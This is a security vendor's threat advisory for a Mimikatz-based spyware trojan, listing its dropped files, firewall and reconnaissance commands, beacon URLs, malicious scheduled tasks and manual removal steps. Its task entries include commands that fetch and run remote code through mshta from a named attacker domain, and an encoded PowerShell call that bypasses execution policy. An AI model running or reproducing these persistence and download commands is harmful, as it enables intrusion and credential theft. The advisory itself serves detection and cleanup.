TrojanSpy.Win32.MIMIKATZ.ADS
Python/Agent.DU trojan(NOD32), TR/Drop.Agent.cvqse(ANTIVIR)
Windows
Threat Type: Trojan Spy
Destructiveness: No
Encrypted:
In the wild: Yes
OVERVIEW
This Trojan Spy arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.
TECHNICAL DETAILS
Arrival Details
This Trojan Spy arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.
Installation
This Trojan Spy drops the following files:
- %User Temp%\mkatz.ini
- %User Temp%\m.ps1
- %User Temp%\p.bat
- %Temp%\svchost.exe
- %Temp%\svvhost.exe
- %Windows%\System32\svhost.exe
- %Windows%\SysWOW64\svhost.exe
- %Windows%\System32\drivers\svchost.exe
- %Windows%\SysWOW64\drivers\svchost.exe
- %System Root%\installed.exe
(Note: %User Temp% is the current user's Temp folder, which is usually C:\Documents and Settings\{user name}\Local Settings\Temp on Windows 2000, XP, and Server 2003, or C:\Users\{user name}\AppData\Local\Temp on Windows Vista, 7, and 8.. %Temp% is the Windows temporary folder, where it usually is C:\Windows\Temp on all Windows operating system versions.. %Windows% is the Windows folder, where it usually is C:\Windows on all Windows operating system versions.. %System Root% is the Windows root folder, where it usually is C:\ on all Windows operating system versions.)
It adds the following processes:
- cmd /c net user&netsh advfirewall set allprofile state on&netsh advfirewall firewall add rule name=denyy445 dir=in action=block protocol=TCP localport=445
- cmd /c wmic ntdomain get domainname
Other Details
This Trojan Spy connects to the following possibly malicious URL:
- http://w.{BLOCKED}h.com/page.html?p{computer name}
- http://v.{BLOCKED}h.com/v{user donamin}
It adds the following scheduled tasks:
- Task Name: \Microsoft\windows\Bluetooths
Task to be Run: powershell -ep bypass -e {base-64 string} - Task Name: DnsScan
Task to be Run: %Temp%\svchost.exe - Task Name: AutoCheck
Task to be Run: cmd.exe /c mshta http://w.{BLOCKED}h.com/page.html?{computer name} - Task Name: AutoScan
Task to be Run: %Temp%\svchost.exe
SOLUTION
Step 1
Before doing any scans, Windows XP, Windows Vista, and Windows 7 users must disable System Restore to allow full scanning of their computers.
Step 2
Note that not all files, folders, and registry keys and entries are installed on your computer during this malware's/spyware's/grayware's execution. This may be due to incomplete installation or other operating system conditions. If you do not find the same files/folders/registry information, please proceed to the next step.
Step 3
Identify and terminate files detected as TrojanSpy.Win32.MIMIKATZ.ADS
- Windows Task Manager may not display all running processes. In this case, please use a third-party process viewer, preferably Process Explorer, to terminate the malware/grayware/spyware file. You may download the said tool here.
- If the detected file is displayed in either Windows Task Manager or Process Explorer but you cannot delete it, restart your computer in safe mode. To do this, refer to this link for the complete steps.
- If the detected file is not displayed in either Windows Task Manager or Process Explorer, continue doing the next steps.
Step 4
Deleting Scheduled Tasks
The following {Task Name} - {Task to be run} listed should be used in the steps identified below:
- Taskname: \Microsoft\windows\Bluetooths
- Task to be Run: powershell -ep bypass -e {base-64 string}
- Taskname: DnsScan
- Task to be Run: %Temp%\svchost.exe
- Task Name: AutoCheck
- Task to be Run: cmd.exe /c mshta http://w.beahh.com/page.html?{computer name}
- Task Name: AutoScan
- Task to be Run: %Temp%\svchost.exe
For Windows 2000, Windows XP, and Windows Server 2003:
- Open the Windows Scheduled Tasks. Click Start>Programs>Accessories>
System Tools>Scheduled Tasks. - Locate each {Task Name} values listed above in the Name column.
- Right-click on the said file(s) with the aforementioned value.
- Click on Properties. In the Run field, check for the listed {Task to be run}.
- If the strings match the list above, delete the task.
For Windows Vista, Windows 7, Windows Server 2008, Windows 8, Windows 8.1, and Windows Server 2012:
- Open the Windows Task Scheduler. To do this:
• On Windows Vista, Windows 7, and Windows Server 2008, click Start, type taskschd.msc in the Search input field, then press Enter.
• On Windows 8, Windows 8.1, and Windows Server 2012, right-click on the lower left corner of the screen, click Run, type taskschd.msc, then press Enter. - In the left panel, click Task Scheduler Library.
- In the upper-middle panel, locate each {Task Name} values listed above in the Name column.
- In the lower-middle panel, click the Actions tab. In the Details column, check for the {Task to be run} string.
- If the said string is found, delete the task.
Step 5
Search and delete this file
- %User Temp%\mkatz.ini
- %User Temp%\m.ps1
- %User Temp%\p.bat
- %Temp%\svchost.exe
- %Temp%\svvhost.exe
- %Windows%\System32\svhost.exe
- %Windows%\SysWOW64\svhost.exe
- %Windows%\System32\drivers\svchost.exe
- %Windows%\SysWOW64\drivers\svchost.exe
- %System Root%\installed.exe
Step 6
Scan your computer with your Trend Micro product to delete files detected as TrojanSpy.Win32.MIMIKATZ.ADS. If the detected files have already been cleaned, deleted, or quarantined by your Trend Micro product, no further step is required. You may opt to simply delete the quarantined files. Please check the following Trend Micro Support pages for more information:
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